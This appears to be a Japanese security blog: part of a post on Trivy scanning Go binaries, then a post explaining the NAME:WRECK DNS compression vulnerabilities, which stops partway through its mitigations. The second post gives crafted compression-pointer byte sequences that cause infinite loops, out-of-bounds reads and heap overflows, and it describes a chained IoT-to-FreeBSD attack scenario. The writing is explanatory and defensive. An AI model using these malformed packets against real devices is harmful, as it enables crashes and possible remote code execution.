Goのバイナリからどうやって依存しているモジュール情報を取り出すのか?という部分は興味ない人が多い気がしますが一応ブログに書いているので、もし詳細を知りたい方がいればどうぞ。

knqyf263.hatenablog.com

使い方

Goのバイナリがあればいいので、scratchなどのコンテナイメージでも全く問題なしです。適当にマルチステージビルドを使ってGoのバイナリを含むイメージをビルドします。今回trivyをビルドしてtrivyでスキャンしているので少しややこしいですが、Goのプロジェクトなら何でも良いです。

まずGoのバイナリを作って、それをscratchにコピーします。

$ docker build -t test-image - <<EOF
FROM golang:1.13 as builder
RUN curl -sL https://github.com/aquasecurity/trivy/archive/refs/tags/v0.9.0.tar.gz | tar zx -C ./
RUN cd trivy-0.9.0 &&  CGO_ENABLED=0 go build -o trivy cmd/trivy/main.go

FROM scratch
COPY --from=builder /go/trivy-0.9.0/trivy /usr/local/bin/trivy
ENTRYPOINT ["/trivy"]
EOF
...
Successfully built b79da5579cfd
Successfully tagged test-image:latest

これで準備は終わりです。今回は test-image というイメージ名にしています。あとはTrivyでスキャンするだけです。そもそもTrivyの使い方分からんという場合はドキュメントを見ていただければと思います。

aquasecurity.github.io

コンテナイメージなので image というサブコマンドを使います。

$ trivy image test-image
2021-04-30T04:57:06.244+0900    WARN    OS is not detected and vulnerabilities in OS packages are not detected.
2021-04-30T04:57:06.245+0900    INFO    Detecting gobinary vulnerabilities...

usr/local/bin/trivy
===================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 1, CRITICAL: 0)

+-------------------+------------------+----------+-------------------+---------------+---------------------------------------+
|      LIBRARY      | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION |                 TITLE                 |
+-------------------+------------------+----------+-------------------+---------------+---------------------------------------+
| golang.org/x/text | CVE-2020-14040   | HIGH     | v0.3.2            | v0.3.3        | golang.org/x/text: possibility        |
|                   |                  |          |                   |               | to trigger an infinite loop in        |
|                   |                  |          |                   |               | encoding/unicode could lead to...     |
|                   |                  |          |                   |               | -->avd.aquasec.com/nvd/cve-2020-14040 |
+-------------------+------------------+----------+-------------------+---------------+---------------------------------------+

/usr/local/bin の下に配置したバイナリから脆弱性が検知されていることが分かります。特にバイナリがどこにあるとかパスを指定しなくても自動で見つけてくれます。今回はscratchにしているためOSパッケージが検知されずwarningが出ていますが無視で良いです。

これはコンテナイメージでしたが、ファイルシステム上にあってもよいです。その場合は fs サブコマンドを使います。

$ go build -o /app/myweb
$ trivy fs /app

こんな感じでスキャンできます。現在はディレクトリしか対応してないのでバイナリを直接指定するとエラーになります(いずれ対応します)。

データソース

GitLab Advisory Database

上のブログでGitLab Advisory Databaseが使えそうという話をしたのですが、実はよく見たらライセンス的に駄目でした。

gitlab.com

三者が使う場合はGitLabの同意が必要とはっきり書いてありました。ですが、GitLabは自社の提供するContainer Scanning機能をClairという別のOSSからTrivyに乗り換えることが決まっています。以下でもアナウンスされています。

docs.gitlab.com

これを交渉に使わない手はないということでGitLab社とミーティングしたりIssueで話したりしつつ交渉を重ねた結果、OSS向けに公開してくれることになりました。交渉には3ヶ月近くかかって大変でしたが基本的には前向きに考えてもらえたのでやりやすかったです。

gitlab.com

ただしこのデータはマネタイズの観点で重要なのでそのまま公開することは出来ないということでgemnasium-dbで公開から一定期間経った脆弱性のみを公開してくれることになりました。それが以下のadvisories-communityです。

gitlab.com

残念なことに今は6ヶ月遅れになっています。6ヶ月だと脆弱性公開されて攻撃終わっていると思うので、そこをなんとか...ということで現在交渉中です。その結果、6ヶ月はあまりにも長すぎるということを理解してもらえ、今は1ヶ月にする方向で話が進んでいます。こちらの対応が終わればもう少し新しい脆弱性が検知できるようになると思います。とはいえ0よりは良いだろうということで現在は6ヶ月遅れのデータを使っています。

Go Vulnerability Database

3ヶ月かけてGitLabと交渉している間にGoチームから彗星のごとく新たな脆弱性データベースが現れました。

github.com

うおおおお!!となったのですが、まだまだα版かなという完成度です。masterのテストがそもそも落ちていたり、flagの使い方が間違っていたり、相当雑にやったのかなという感想です。ですが忙しくて手が回らない時は助け合いの精神ということでPRを何件か出しました。

github.com

こちらがマージされれば検知精度は更に上がると思います。あまりレスポンスない感じなので、待ちきれなければforkしたデータでしばらく運用するかもしれません。

余談

Goの脆弱性DB構築に関連して、Russ Coxから共通の脆弱性JSONフォーマットを策定しようという提案が出ています。

docs.google.com

一応既にCVRFやOVALというXMLベースのものがあるのですが、本当に人間が考えたんかこれ?みたいなフォーマットですし新たなフォーマットの策定は大歓迎です。この辺りの知見はかなり豊富な方なので、自分もこの議論には入っておく予定です。

今後の予定

バイナリだけでなく go.sum にも対応する予定です。 fs を使ってGitHubなどのCIに組み込んでもらう想定です。バイナリをいちいち作らなくてもスキャンできるようになるので便利な場面は多いかと思います。重要な部分の実装はほぼ終わっているので今回のリリースに含めても良かったのですが、バイナリの方だけでも早めに出したいなと思い一旦リリースしました。

まとめ

TrivyでGoバイナリの脆弱性検知が出来るようになりました。検知精度はGoのデータベースを取り込むことで近い将来さらに改善されると思いますが、現時点でもある程度有用なので是非試してみてください。

DNSメッセージ圧縮の実装不備による脆弱性(NAME:WRECK)の原理とPoCの解説

今回はDNS脆弱性シリーズの中では簡単です。

要点

脆弱性の概要については以下です。

  • NAME:WRECKはDNSメッセージ圧縮の実装不備による9つの脆弱性を総称したもの
  • DNSだけでなくmDNSやDHCPでもドメイン名圧縮を行っており脆弱性が見つかっている
  • Nucleus NET, NetX, IPnet, FreeBSDの4つのTCP/IPスタックに脆弱性が見つかっている
  • IoT/OT機器でNucleus NET, NetXを利用している場合は攻撃が比較的容易でOSによる保護も弱くRCEに繋がる可能性が高いので影響大きめ
    • しかし無差別に攻撃するのは難しい
  • FreeBSDDHCP脆弱性でありローカルネットワークに攻撃者がいる必要があるので難易度高め

そして今回の脆弱性を公表したForescout Research Labsの取り組みが非常に良いと感じたのでそちらもまとめておきます。

脆弱性を公表して終わりとするだけでなく得られた知見をアンチパターンとして還元していこうという姿勢が見えて好感を持ちました。さらに気をつけましょう、で終わらず静的解析による自動検知や影響範囲をスクリプトで特定する試みも行っていてセキュリティ研究者の理想なんじゃないかなと思いました。

背景

先日NAME:WRECKという脆弱性が公開されました。

www.forescout.com

今回もDNS脆弱性になるのですが、実際にはDNSクライアント・サーバに限らず圧縮されたドメイン名の展開処理を行っている一部のTCP/IPスタックが影響を受けます。具体的に影響を受けるのはNucleus NET, FreeBSDなどです。

NAME:WRECKはForescout Research LabsとJSOF Researchの共同発表となっていますが、最近話題になった多くのTCP/IPスタックの脆弱性(特にDNS関連)は彼らによって発表されています。具体的には以下のような脆弱性があります。

Ripple20やAMNESIA:33は自分はちゃんと追っていなかったのですが、今回同様DNSメッセージの圧縮/展開に関する不備による脆弱性のようです。なので、Ripple20, AMNESIA:33, NAME:WRECKは兄弟的な位置付けなのかと思っていますが、その2つのペーパーはまだ読んでないので間違っていたらすみません。

DNSpooqは自分のブログでも解説しています。自分で攻撃コードを書いてJSOFから連絡もらったぐらいなので解説も詳しめです。

knqyf263.hatenablog.com

次から次へと発表するなと思っていたのですが、これらは実はProject AmeriaというプロジェクトでForescout Research LabsとJSOF Research Labsが共同で研究した成果だったようです。何というか楽しそうですね。まだプロジェクトは終わっていないようなので、今後もAmeriaから新たに脆弱性が出るかもしれません。今後の動向に注目する必要があります。

また、最近だと

あたりもDNS脆弱性で、世間を騒がせました。この1,2年でいくつ脆弱性出るんだというぐらい見つかっているのでまだ油断はできません。

SAD DNSについては自分のブログでも紹介しています。面白いので気になる人は目を通してみてください。

knqyf263.hatenablog.com

上の解説ブログは難しいと言われることも多かったのですが、今回は簡単です。DNSメッセージの圧縮方法さえ理解してしまえばほぼ終わりです。ということで解説していきます。

単に解説するだけでは面白くないので自分の意見なども挟んでいます。そしてFreeBSDの攻撃方法についてはペーパーでほとんど記載がなくて無駄に挑戦心が湧いたので実際に攻撃コードを書いてみました。その辺りの試行錯誤も解説しています。

以下のホワイトペーパーに基づいているので、興味がある人は見てみてください。

https://www.forescout.com/company/resources/namewreck-breaking-and-fixing-dns-implementations/

毎回断っていますが、自分はDNSを本業としてやっているわけではなくあくまでも趣味なので情報は不正確な場合があります。参考程度に見てもらえればと思います。

概要

まず、9つの脆弱性を総称してNAME:WRECKと呼んでいます。

f:id:knqyf263:20210416140336p:plain

f:id:knqyf263:20210416140352p:plain
ペーパー P.9 Table3より引用

Descriptionを見ると分かるのですが、脆弱性の内容は結構異なります。さらに影響するTCP/IPスタックもNucleus NETだったりFreeBSDだったりします。ですが基本的には圧縮されたDNSメッセージの展開処理の実装に不備があり脆弱性の原因となっているものがメインです。そういったものをまとめてNAME:WRECKと呼んでいます。TXIDの不備だったりも何故か入ってますが、あまりNAME:WRECK関係ないですしせっかくだし入れとこ、ぐらいのノリで入っている気がします。

ちなみにNAME:WRECKという名前はドメイン名のパースを"wreck"する(破壊する)というところから命名しているようです。

影響を受けるTCP/IPスタック

上の表を見ればわかりますが、影響を受けるTCP/IPスタックは4つです。

FreeBSDはYahooやNetflixのWebサイトで使われているし、Nucleus NETはIoT/OTファームウェアで広く使われているとのことです。

今回はDNSメッセージの圧縮の脆弱性に着目して7つのTCP/IPスタックを調査したところ、上記の4つが脆弱だったとのことです。これは後述しますがRFCの記述が曖昧なせいで脆弱な実装が生まれやすいのが原因とForescoutは分析しています。

影響を受けるデバイス

Nucleus RTOSFreeBSDを実行している全てのデバイスが脆弱なわけではないです。しかし、それらのスタックを利用しているデバイスが100億台あるとすれば1%が脆弱と見積もっても1億台が影響を受けることになります。

1%の根拠は特にペーパーには記述がなかったので大体の数値かなと思います。

被害

領域外のメモリアクセスになるので、

  • Denial os Service (DoS)
  • Remote Code Execution (RCE)

がこれらの脆弱性による被害になります。雑にやってもDoSは簡単に引き起こせて、頑張ればRCEという感じです。特に組み込みソフトウェアの場合はOSのメモリ保護機能が弱くRCEに繋がりやすいです。

脆弱性詳細

Message Compression概要

上でも述べましたが、今回の脆弱性DNSの"message compression"に関係したものとなっています。DNSレスポンスのパケットには同じドメイン名またはその一部が複数回含まれやすいため(例えばgoogle.comとwww.google.comなど)、RFC 1035 ("Domain Names - Implementation and Specification") の4.1.4でDNSメッセージのサイズを削減するための圧縮/展開方法が定義されています。

さらにこの圧縮はDNSの名前解決だけではなく以下のプロトコルでも同様の方法が採用されています。

  • mDNS
  • DHCP
    • RFC 3397: Dynamic Host Configuration Protocol (DHCP) Domain Search Option
  • IPv6 router advertisements
    • RFC 8106: IPv6 Advertisement Options for DNS Configuration

さらにRFC等で明確に定義されていなくてもコードの再利用により実態としてサポートしているプロトコルも複数存在するそうです。

このDNSメッセージ圧縮は特別圧縮効率が良いわけでもなく、実装も簡単というわけではありません。実際、過去20年に渡って多くの製品でこの圧縮に関する脆弱性が発見されています。

f:id:knqyf263:20210416151040p:plain
ペーパー P.6 Table 1より引用

ということでやはりDNSメッセージ圧縮及び展開の実装は難しいことが分かります。Ripple20, AMNESIA:33, NAME:WRECKのいずれかに対して脆弱なTCP/IPスタックがペーパー内で表にまとめられていたのでこちらも引用しておきます。

f:id:knqyf263:20210416151509p:plain
ペーパー P.7 Table 2より引用

Message Compression詳細

圧縮方法はRFC 1035で定義されています。まずドメイン名はラベルの集合として表現され、NULL (0x00)で終端されます。各ラベルは先頭1バイトに長さが入っています。最大長は63バイトになります。例えば、 google.com であれば"google"が6バイトなので 0x06 から始まります。そのあとは普通に 0x67 0x6f 0x6f 0x67 0x6c 0x65 = google が入ります。これで一つ目のラベルは終わりで、次に com のラベルを表現するために長さの 0x03 が入ります。あとは同様に 0x63 0x6f 0x6d = com になります。そして最後はNULLになります。

+---+---+---+---+---+---+---+---+---+---+---+---+
|x06|x67|x6f|x6f|x67|x6c|x65|x03|x63|x6f|x6d|x00|
+---+---+---+---+---+---+---+---+---+---+---+---+

見やすく書くと以下です。

+---+---+---+---+---+---+---+---+---+---+---+---+
| 6 |'g'|'o'|'o'|'g'|'l'|'e'| 3 |'c'|'o'|'m'|x00|
+---+---+---+---+---+---+---+---+---+---+---+---+

DNSレスポンスというのは同じドメイン名またはその一部を繰り返し含むことが多いです。そのためRFC 1035ではDNSメッセージサイズの削減のために圧縮・展開方法を定義しています。その方法はラベルの一部をそれ以前に含まれているドメイン名へのポインタに置き換えることです。

このポインタは2バイトで表現され、最初の2ビットは 11 でなくてはなりません。残りの14ビットはDNSヘッダの先頭からのオフセットを意味します。

例えば google.comwww.google.com を含む例を考えてみます。その場合、 www.google.com0x03 0x77 0x77 0x77 0xc0 0x10 となります。

+---+---+---+---+---+---+
| 3 |'w'|'w'|'w'|xC0|x10|
+---+---+---+---+---+---+

0x03www が3バイトなので長さを表現しており、 0x77 0x77 0x77www です。そしてポインタであることを表現するために先頭2ビットを 11 にします。オフセットは今回 0x10 となるため、合わせて 0b1100000000010000 = 0xc0 0x10 となります。DNSサーバやクライアントは 0b11 のビットを見つけたらオフセットを計算し(今回は 0x10)、そのオフセットにしたがってデータを参照します。その結果、 google.com を取得したので www と合わせて最終的なドメイン名は www.google.com となります。

圧縮と言うよりは単にポインタですね。かなりシンプルな仕様にはなっているのですが、シンプルすぎて細かいところが定義されていないので実装ミスが起きやすいようです。

CVE-2020-27009(Nucleus NET)

では実際にNucleus NETを例にどのような問題が起きるのかを見ていきます。以下はNucleus NET内の DNS_Unpack_Domain_Name() という関数です。

f:id:knqyf263:20210416183837p:plain
ペーパー P.12 Figure 1より引用

コードとしてはかなり短いですが、脆弱性が複数存在します。

  • CVE-2020-27736
  • CVE-2020-27738
  • CVE-2020-15795
  • CVE-2020-27009

この関数はドメイン名をDNSレスポンスから取り出す際に必ず呼ばれます。最初の引数 dst はパース後のドメイン名を保存するためのバッファで、二番目の引数 srcドメイン名の先頭バイトを指すポインタです。三番目の buf_beginDNSヘッダの先頭バイトを指すポインタです。

ドメイン名は8行目から始まるwhileのループ内でパースされます。 src をずらしていって現在パースしているバイトを指すようにしています。このwhileループはNULLがきたら抜けるようになっていますが、NULLはドメイン名の終わりを意味するのでドメイン名の最後までパースすることになります。whileループに入る前に元々の src ポインタを savesrc として保存しておいて、後で展開後のドメイン名の長さ計算に使います。

ループ内では、ドメイン名の最初のバイトをまず取得します。これは説明した通りそのラベルの長さとなっているため、9行目で size に保存します。次に、11行目で上位2ビットが 0b11 となっているかどうかを確認しています。もし圧縮ポインタ(compression pointer)ではなくて普通のラベル長であれば21行目で src を1バイト進めて size の次に移動します。そして size の長さ分だけfor文を回し src から dst にコピーします。RFC 1035で述べられているようにラベルの最大長は63バイトであるため、23行目で63バイトまで切り詰めています。そして33行目で返される retvalsrc - savesrc で計算され、ドメイン名全体の長さとなります

次に上位2ビットが 0b11 だった場合の処理を見ていきます。もしそのドメイン名内における最初のポインタだった場合は12-13行目で retval に2バイトを足します。そしてオフセットが計算され、 srcDNSペイロードの先頭バイト( buf_begin )からオフセットずらした位置に移動します(16-17行目)。 src は今ポインタの先を指しているため、1バイト目がサイズになっています。そこで、 size*src を代入しています(18行目)。その後は上で説明したように21-27行目でラベルを読み込んでいきます。読み込み終わればドメイン名全体を読み込んだこととなるので処理は終了です。

ではどこが問題なのでしょうか?ある程度セキュリティを意識している人なら分かるかと思いますが、問題はオフセットに対するバリデーションがないことです。オフセット分ずらした先頭バイトにあるのはラベル長であると仮定して処理していますが(18行目)、これがさらに別の圧縮ポインタだったらどうなるでしょうか?つまり上位2ビットが 0b11 の場合です。11行目のwhileループの条件式 (size & 0xC0) == 0xC0 はtrueになり再度whileの中が処理されます。RFC 1035では圧縮ポインタは以前に含まれたドメイン名を指さなければならないと定義されており、この実装は定義に違反しています。RFCに違反しているだけなら単に良くない実装というだけになりますが、実際にこの圧縮ポインタは攻撃者が自由に指定できるため悪用可能になっています。これはCVE-2020-27009として報告されています。

では具体的な悪用方法を見ていきます。

無限ループ

src のジャンプする先を再度自分の圧縮ポインタにするとこのwhileループを永遠に抜けないため、DoSとなります。

以下の例だと 0xc0 0x0c のところが圧縮ポインタとなっていますが、 0x0c0x1e にしてあげるとオフセットが30になります。DNSヘッダが12バイトでQuestionセクションが18バイトなのでAnswerセクションが30バイトずらしたところから始まっています。つまり圧縮ポインタが 0xc0 0x1e になっていると、再度 0xc0 0x1e に飛ぶので無限ループとなります。

f:id:knqyf263:20210416184356p:plain
ペーパー P.23 Figure 9より引用

領域外読み込み

オフセットを大きい値にするとDNSパケットのサイズを超え、確保された領域外のメモリにアクセスします。例えば 0xffff にしてあげれば上位2ビットは 0b11 で14ビットで表現されるオフセットは16383になります。16383は多くの場合、DNSメッセージのサイズを上回ります。23-24行目のfor文で size 分読み取っているため、パケットの外にアクセスしてしまいます。これはDoSに繋がりますし、情報漏えいなどに繋がる可能性もあります。

領域外書き込み

dst がどのように確保されるかによっては、圧縮オフセットをうまく選べば領域外のメモリ書き込みも可能になります。これはRemote Code Execution (RCE)に繋がる可能性があります。これはこのあとで詳しく見ていきます。

CVE-2020-15795(Nucleus NET)

先程の DNS_Unpack_Domain_Name() を見てみると各ラベルが63バイトを超えないように確認はしていますが、全体が255バイト以下でなければならないRFC 1035の定義には違反しています。これはCVE-2020-15795として報告されています。以下で詳細を説明します。

以下に DNS_Extract_Data() の実装を載せています。DNSレスポンスを処理するための関数で、最終的には23行目と36行目で先程実装を確認した DNS_Unpack_Domain_Name() が呼ばれます。16-18行目でドメイン名を格納するための name バッファが NU_Allocate_Memory() を使ってヒープに確保されています。この際、サイズは DNS_MAX_NAME_SIZE に制限されています。この値はRFC 1035に従って255バイトとなっています。

f:id:knqyf263:20210416184716p:plain
ペーパー P.14 Figure 2より引用

ここで DNS_Unpack_Domain_Name() の実装に話を戻すと、whileループはNULLが来るまで終わらないようになっています。そして各ラベルは23行目で63バイトに制限されていますが( size & 0x3f)、実際に name にコピーされるトータルのサイズについてはチェックがありません。つまり攻撃者が意図的に大きい値を入れてしまえば全て nameDNS_Unpack_Domain_Name() では dst )にコピーされます。しかし name は255バイトしか確保されていないため、領域外に対して書き込まれてしまいます。結果としてヒープを破壊し、RCEに繋がる可能性があります。これは典型的なヒープオーバーフローであり実際のペイロードの組み立て方に関する詳細はAMNESIA:33のホワイトペーパーで説明されています。

name のヒープオーバーフローを起こさせる簡単な方法は、各ラベルを63バイトにしてトータルのサイズが255バイトを超えるようにして name に書き込ませる方法です。自分としてはこの脆弱性だけで十分悪用できるのに何で前述のCVE-2020-27009と組み合わせる必要があるのかと疑問だったのですが、それについても説明されていました。まず各ラベルが63バイトで255バイトを超えるようなバイト列はDNSパケットにとっては大きすぎます。さらにIDS等に検知される可能性があります。そこで、小さいペイロードでオーバーフローをこすためにCVE-2020-27009が利用できます。

例えば4バイトのドメイン名を考えます。最初のラベルは長さ1で、そのあとの圧縮ポインタで自分の最初のラベルを指すようにします。例えば 0x01 0x41 0xc0 0xe1 のようになります。

+---+---+---+---+
| 1 |'A'|xC0|xE1|
+---+---+---+---+

この 0xe1 はラベルの先頭を指すオフセットとなっています。このようなドメイン名を受け取ると DNS_Unpack_Domain_Name()A.name に書き込み続け最終的にメモリを破壊します。メモリ保護機能がある場合は DNS_Unpack_Domain_Name() の24行目で dst が領域外のメモリ参照を行いクラッシュします。

この例では単にクラッシュさせるだけになっていますが、このようにDNSメッセージの展開の脆弱性を使ってRCEにつなげるためのペイロード詳細はRipple20のペーパーで説明されています。

https://www.jsof-tech.com/wp-content/uploads/2020/08/Ripple20_CVE-2020-11901-August20.pdf

CVE-2021-25667(Nucleus NET)

上の例では細工したDNSレスポンスをクライアントに渡す必要があるためDNSレスポンスを偽装する必要があります。これはSAD DNSやDNSpooqでも説明したので省略しますが、Nucleus NETではTXIDやUDPのソースポート番号のランダム性が不十分な上にクエリ/レスポンスのマッチングにTXIDを使っていなかったようです。結果として攻撃者は容易にそれらを推測できてDNSレスポンス偽装が可能です。これだけでキャッシュポイズニングが出来てしまうので、今回のNAME:WRECKではさらっと流してますが普通にやばいじゃんという感じです。

Nucleus NETまとめ

上の3つの脆弱性を組み合わせることで、細工したDNSレスポンスをクライアントに送りつけつつ小さいペイロードでRCEに繋げることが可能になります。しかし最後のDNSレスポンスのバリデーションをバイパスする部分は一発で成功するものではないですし、そもそもクライアントが名前解決するタイミングで攻撃する必要がありますがそのタイミングを推測するのも簡単ではありません。IoT機器から毎日0時にデータを送信する、などがあれば多少推測はしやすいかもしれません。名前解決を能動的にトリガーできる方法があればその不確実性を減らせますが、その方法については述べられていませんでした。そのため、これら3つをうまく組み合わせても一気に世界中のIoT機器が乗っ取られるということにはならないと考えています。バラマキで攻撃を成立させるのは難しいとはいえ標的にされたら十分実現可能性があると思うので、何かしらの対策はしたほうが良いのではないかと思います。

攻撃シナリオ

NAME:WRECKを現実世界で悪用する攻撃シナリオについて解説します。まず侵入口としてIoT機器を狙います。そしてこのIoT機器が内部のネットワークに接続されていると仮定し、IoT機器を踏み台にして侵害を広げます。

f:id:knqyf263:20210416185231p:plain
ペーパー P.16 Figure 3より引用

これは実際にNASAラズベリーパイ経由でデータが盗まれたインシデントなどに基づいており、現実的なシナリオとなっています。

gigazine.net

他にもカジノでスマート水槽経由で盗まれた事件などもあります。

www.cnn.co.jp

ここでIoT機器というのはインターネットに繋がっていますが、自分の理解ではインターネット側からアクセス可能である必要はないと思います。

1. DNS経由の攻撃

まずIoT機器がDNSリクエストをインターネット上のサーバに対して発行したタイミングで先述したNucleus NETに存在するDNS脆弱性を使ってRCEを行います。どうやって細工したDNSパケットを送りつけるかと言うと、まず一番手っ取り早いのは中間者攻撃です。DNSサーバとIoT機器の間に入ってDNSレスポンスを改ざんします。または、権威DNSサーバとIoT機器の間に存在するDNSサーバやフォワーダに対してDNSpooqや類似の脆弱性を使って細工したDNSメッセージを渡すことも出来ます。

2. DHCP経由の攻撃

そしてIoT機器に侵入したら攻撃用のDHCPサーバを立てます。後述しますがFreeBSDDHCP実装はNAME:WRECKの影響を受けます。dhclientがDHCP RequestをブロードキャストしたタイミングでIoT機器から細工したDHCP Ackを返します(簡単のためDHCP Discoverとかは省略)。そうするとDHCP Ackを受け取ったFreeBSDサーバは制御を乗っ取られます。このFreeBSDサーバは例えば機密情報を含んでおりインターネットには接続されていなかったとしても、IoT機器経由で乗っ取られてしまうということです。

3. データ窃取

あとは乗っ取りに成功したFreeBSDからIoT機器経由でデータを盗むなり何なりし放題です。

別シナリオ:mDNS経由の攻撃

上のシナリオではIoT機器にDHCPサーバを立ててブロードキャストに対して細工したレスポンスを返していましたが、mDNSでも似たことが出来るようです。mDNSに関してはNAME:WRECKでは触れられていませんが、AMNESIA:33でFNETに影響するCVE-2020-17469やpicoTCPに影響するCVE-2020-24340について説明があるようです。

攻撃難易度

pwnとかに詳しい人は分かると思いますが、最近のOSは実際にはESPやDEPなどのメモリの保護機能やASLRなどのアドレス空間配置のランダム化、スタックカナリアなどのメモリ破壊に対する防御機構が導入されており領域外のメモリアクセスが出来てもRCEに繋げるのはそこまで簡単ではありません。FreeBSDに関して言えば、それらの機構に加えてCapsicumという仕組みが入っているようです。

www.cl.cam.ac.uk

そしてdhclientは既にサンドボックスで実行するようになっているようで、Capsicumが有効になっている場合は攻撃は難しそうです。

wiki.freebsd.org

一方でNucleus NETやNetXなどIoT/OTで使われる組み込みソフトウェアはこういった防御機構が入っていないようです。つまり少しかじったことがある程度でRCEに繋げられてしまうため、攻撃者からすると簡単に乗っ取りが可能です。上のDNSの実装もかなり脆弱だったことを考えると(TXIDが実質無意味なものになっていたり)、IoTセキュリティの重要性が増していることが自分にもようやく理解できました。

脆弱なTCP/IPスタックを使っているIoT機器が大量にデプロイされていて、かつローカルネットワークに繋がっているとなれば攻撃者からすればそりゃIoT機器経由で攻撃するよな...という感想です。

影響

製品がどのTCP/IPスタックを利用しているか公表していないケースもありますし、影響を受けるベンダーや製品を完全に特定するのは難しいです。

ですが、NAME:WRECKのペーパーではFreeBSD, Nucleus NET, NetXの3つのスタックについて可能な限り影響範囲を調査しています。特にNucleus NETとNetXは組み込み機器で長年に渡って利用されてきたため、利用も多いと考えられます。

まずNucleus RTOSのWebサイトによると30億以上の機器にデプロイされているそうです。その中には除細動器や超音波装置などの医療機器も含まれるとのことです。

www.plm.automation.siemens.com

この脆弱な実装でそんなに大量にデプロイされているとかなり不安になりますね。。しかも後述しますがこういったIoT/OT機器は一度デプロイするとその後のパッチ更新もかなり大変です。

FreeBSDもNAME:WRECKに対して脆弱ですが、こちらはNetflixやYahooなどで使われています。以下の"Who Uses FreeBSD?"に一覧があります。

docs.freebsd.org

ただFreeBSDに関してはDHCP脆弱性であり外部からの攻撃は難しいので、そこまで悲観的にならなくて良いと考えています。

そして最後にNetXですが、こちらはThreadX RTOSによって使われています。こちらも広く利用されており2017年時点で62億のデバイスがあったとのことです。

f:id:knqyf263:20210416185804p:plain
ペーパー P.18 Table 4より引用

ですが実際には上記全てのデバイスが脆弱なわけではありません。というのも、例えばThreadXを使っていても内部ではTreck TCP/IPスタックなど別の実装を使っているケースもあるからです。

さらに、DNSDHCPクライアントが有効になっていないケースもありますし、全てのバージョンが脆弱なわけでもありません。

これらを考慮して全体の1%程度が脆弱と仮定すると1億台程度の機器が脆弱と見積もれます。前述した通り1%の数値に根拠は見つかりませんでしたが、全体で100億台あるなら影響受ける機器はやはり大量にあるだろうなという感想です。

実際にデプロイされている数を調べるために、以下を使って実際の数を計測したそうです。

  • Shodan
    • SSHやHTTP, NTPなどのバナーに"FreeBSD"という文字列が含まれる数
  • Forescout Device Cloud
    • Forescoutの機器によって収集されたデータが集約されているリポジトリがあるらしく、そのデータを使って計測したとのことです

細かい結果はペーパーを参照してもらえればと思いますが、FreeBSDの台数で日本が2位だったのがちょっと面白かったのでその結果だけ引用しておきます。Shodanで調べた結果、FreeBSDが動いていそうな機器は105万台あって、そのうちの10万台は日本だったようです。

f:id:knqyf263:20210416185941p:plain
ペーパー P.19 Figure 4より引用

アンチパターン

Project Ameriaは今回の一連の研究を通してDNSソフトウェアにおいて起きやすい代表的な実装ミスに気付きました。そしてこの実装ミスはRFCの定義が曖昧なせいで起きていると感じたそうです。今後このような実装ミスが起きるのを防ぐため、IETFにドラフトを出しています。

github.com

脆弱性を探すタイプのセキュリティ研究者は見つけて終わりとなることが多い中で、きちんと起きやすいミスを体系的にまとめて今後の実装をセキュアにしていこうという試みはとても良いと思いました。

このアンチパターンDNSのみではなく一般的に有用なものだと思うので、元気があればいずれ別途まとめたいと思います。

緩和策

まず大前提として、FreeBSD, Nucleus NET, NetXには既にパッチが提供されているので可能なら迅速にパッチを適用しましょう。特にNucleus NET, NetXあたりは攻撃も現実的だと思うので放置はしないことを勧めたいです。

FreeBSDを通常のサーバやネットワーク機器で運用している場合は単にFreeBSDのバージョンを調べて影響を受ける機器を特定しパッチを当てれば完了です。

しかし一方でIoT機器はパッチ適用が簡単ではないことがあります。まずそもそも利用者は各機器でどのTCP/IPスタックが利用されているかを知らないことが多いです。場合によってはベンダーでさえ既存のOSを使っただけで把握していない場合があります。そのため脆弱性の影響を受ける機器を特定するのが難しいです。次に、仮にパッチが提供されたとしても機器が集中管理されていないため一括で更新することが出来ず手動で一つ一つ適用しなければならない場合もあります。ミッションクリティカルな医療機器や産業制御システムではオフラインに出来ない場合もあり、再起動を伴うパッチ適用が非常に困難な場合もあります。

少し脱線しますが、新しいファームウェアが実は内部でサポート切れの古いRTOSを利用しているケースもあります。新しいファームウェアであれば脆弱ではないと考えられてしまうため、実態と乖離し問題となります。

これらの状況を鑑みていくつかの緩和策が提案されています。そこそこ省略しているので、影響する組織はきちんとペーパーを確認することを推奨します。

脆弱なスタックを利用している機器の特定

Forescout Research Labsがフィンガープリントを使ってTCP/IPスタックを特定するためのツールをOSSで公開しました。

github.com

説明によると異常なICMPエコーリクエストを送って返ってくるリプライの特徴を見たり、HTTP, SSH, FTPのバナーやエラーメッセージを見るようです。OSを特定するツールは知っていましたが、TCP/IPスタックを特定するというのは面白いなと思いました。実質やっていることはほとんど同じな気はしますが。

こちらも上と同様に見つけて終わりではなく実際に影響を受ける人達がどう行動すれば良いか、というところまで踏み込んでいて非常に良いと思います。

適切なネットワークの分離

パッチを当てられない機器はネットワーク的に分離したり外部との通信を制限するなどして、クリティカルなネットワークへの侵入を防ぎましょう。

ベンダーの動向を追う

影響を受けるベンダーからのパッチ・対応策などを注視し、ビジネスへの影響とのバランスを考えつつどのように対策するかを考えましょう。

内部DNSサーバを使う

攻撃シナリオで説明した通り中間にあるDNSサーバに細工して悪意あるレスポンスを返す必要があるため、内部DNSサーバを使いセキュアに運用することで攻撃を緩和できます。また、外部へのDNS通信は注意深く監視を行う必要があります。

トラフィックの監視

既知の脆弱性だけではなくゼロデイ攻撃などが来る場合もあるため、異常なトラフィックはブロックするか少なくともアラートを上げるようにします。これはNAME:WRECKに対してのみではなく有用ですね。

今回の攻撃では特徴あるパケットになるため、IDSなどにルールを入れることを推奨しています。その特徴は以下です。ただ実際にはワンライナーで検知できるようなものではない気がするので、ルール導入は結構大変かなと思います。とはいえ脆弱なIoT機器を多数抱えていてパッチを当てられる状況でない場合はやはり頑張ってルールを入れておくとべきなのかなというのが自分の考えです。

無効な圧縮ポインタ

圧縮ポインタは既に述べたように以前に含まれているドメイン名を指す必要があります。つまりオフセットが自分の圧縮ポインタがある位置より後ろを指している場合は検知すると良いです。

また、ポインタの先がポインタの場合も検知すると良いです。

無効な長さのドメイン

ドメイン名のラベルは63バイトが最大長なので、それを超える場合は無効として検知するべきです。また全体の長さは255バイトを超えてはならないため、その場合も検知します。ドメイン名の最後はNULLで終端する必要があります。

さらに、DNSレコードの長さを指すRDLENGTHは実際のRDATAの長さと対応していなければなりません。

無効なQCOUNT/ANCOUNT/NSCOUNT/ARCOUNT

